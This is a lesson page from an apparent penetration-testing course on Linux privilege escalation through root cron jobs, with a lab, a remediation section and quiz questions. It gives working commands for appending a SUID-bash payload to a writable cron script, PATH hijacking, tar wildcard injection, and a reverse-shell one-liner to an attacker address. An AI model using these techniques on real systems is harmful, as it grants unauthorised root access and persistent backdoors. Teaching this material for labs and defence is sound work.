learn/phase-3/p3-w12/lesson 04
Milestone 12 · lesson 4

Cron Jobs for Privilege Escalation

Hands-on. Turn a root cron job that runs a script you can touch into a root shell, one of the most common privesc paths.
Lab: Cron to Root

Find the root cron job that runs a script you can write to, the privesc vector.

What you'll learn

  • Enumerate every scheduled task and spot the ones that run as root.
  • Recognise the three cron privesc vectors: a writable script, a hijackable PATH, and wildcard injection.
  • Exploit a world-writable script run by root cron to get a root shell.
  • Explain the fix so you can report it: never run user-writable files as root.

Cron Jobs for Privilege Escalation

You already know cron runs jobs on a schedule, and many of them run as root. That is the whole opportunity: if a job running as root touches anything you can control, a file, its PATH, its arguments, you can make root run your command. This is one of the most common and beginner-friendly ways to go from a normal user to root.

Here's the classic chain, start to finish. Notice you never run anything as root yourself, the cron job does it for you:

1
You append a payload you
echo '…rootbash…' >> /opt/backup/run.sh
2
Cron fires (every minute) root
root runs /opt/backup/run.sh — as root
3
Payload runs as root root
cp /bin/bash /tmp/rootbash; chmod +s
4
You get a root shell you
/tmp/rootbash -p → #

You can't run as root — but the thing you edited can. That's the whole trick.

Step 1: enumerate the jobs

You can't exploit what you can't see. Dump every scheduled task and note which run as root:

cat /etc/crontab                       # system jobs (the user column shows who they run as)
ls -la /etc/cron.d /etc/cron.daily /etc/cron.hourly
crontab -l                             # your own jobs

Cron lines don't always show up in /etc/crontab, so a great trick is pspy, a tool that watches processes without root and catches short-lived cron jobs firing:

./pspy64        # sit and watch: you'll see root run /opt/backup/run.sh every 5 minutes

The three classic vectors

1. A writable script (the common one)

You find a root cron entry and check the script's permissions:

* * * * * root /opt/backup/run.sh
$ ls -l /opt/backup/run.sh
-rwxrwxrwx 1 root root 128 Jul 5 02:00 /opt/backup/run.sh

That -rwxrwxrwx means anyone can edit it, and it runs as root. Append a payload and wait one minute:

echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /opt/backup/run.sh
# ...cron runs it as root, creating a SUID root bash...
/tmp/rootbash -p        # -p keeps the elevated privileges -> root shell

(A reverse shell, bash -i >& /dev/tcp/YOU/4444 0>&1, works just as well.)

2. PATH hijacking

If the cron script calls a program by its name rather than full path, e.g. backup instead of /usr/bin/backup, and cron's PATH starts with a directory you can write to, drop your own backup there:

# cron PATH = /home/user:/usr/bin  (user dir first!)
echo -e '#!/bin/bash\ncp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > /home/user/backup
chmod +x /home/user/backup

Root's cron finds your backup first and runs it.

3. Wildcard injection

If a root script runs something like tar czf backup.tgz * inside a directory you can write to, the shell expands * into filenames, and you can name files so they become arguments:

echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > runme.sh
touch './--checkpoint=1'
touch './--checkpoint-action=exec=sh runme.sh'
# next time tar runs, it executes runme.sh as root

Enumerate for writable targets fast

find / -writable -type f 2>/dev/null | grep -v /proc      # files you can write
find /etc/cron* -writable 2>/dev/null                     # writable cron pieces

The fix (what you report)

Root should never execute anything a lower-privileged user can modify. The remediation: cron scripts owned by root and chmod 700 (or 755, root-writable only), always call binaries by absolute path, and never cd into a user-writable directory and glob. Report the exact writable file and who can write it.

Common questions

"The cron line isn't in /etc/crontab. Where else do I look?" Jobs also live in /etc/cron.d/, /etc/cron.{hourly,daily,weekly}/, per-user tables (crontab -l, /var/spool/cron/), and systemd timers (systemctl list-timers). When in doubt, run pspy, it watches processes and catches a job the moment it fires, no root needed.

"I edited the script but nothing happened, why?" Cron runs on a schedule. A * * * * * job fires once a minute; a daily job could be hours away. Check the schedule in the cron line and wait for the next tick. If it never fires, the job may run as a different user, or your write didn't actually save (re-check ls -l).

"How do I know it runs as root and not as me?" In /etc/crontab and /etc/cron.d/ files there's a user column (* * * * * root /path). If it says root, it runs as root. pspy also shows the UID of each process it catches.

"Why cp /bin/bash /tmp/rootbash; chmod +s instead of just a reverse shell?" Both work. The SUID-bash copy is a persistent door, run /tmp/rootbash -p any time for instant root. A reverse shell is interactive but dies when the connection drops. Pick based on whether you want a quick shell or a durable one.

Why this matters

Scheduled tasks are trusted to "just run", which is exactly why they're overlooked. A single world-writable script in a root cron job is a straight line to root, no exploit code, no CVE, just echo and a one-minute wait. Learn to enumerate cron the moment you land on a box.

Check your understanding

4 questions

Type an answer and press Check. Grading is keyword-based and forgiving, so short answers are fine.

  1. 1

    Write the find command that lists files you (the current user) can write to under /etc and /opt, the first thing to check for a writable cron script.

  2. 2

    A root cron job runs /opt/backup/run.sh, and ls -l shows it as -rwxrwxrwx. In one line, what makes this exploitable?

  3. 3

    You can write to a script root's cron runs. Write a payload line you'd add to get a persistent root shell via a SUID bash copy.

  4. 4

    A root cron script runs tar czf /backup/a.tgz * from inside a directory you can write to. What class of attack does the * enable?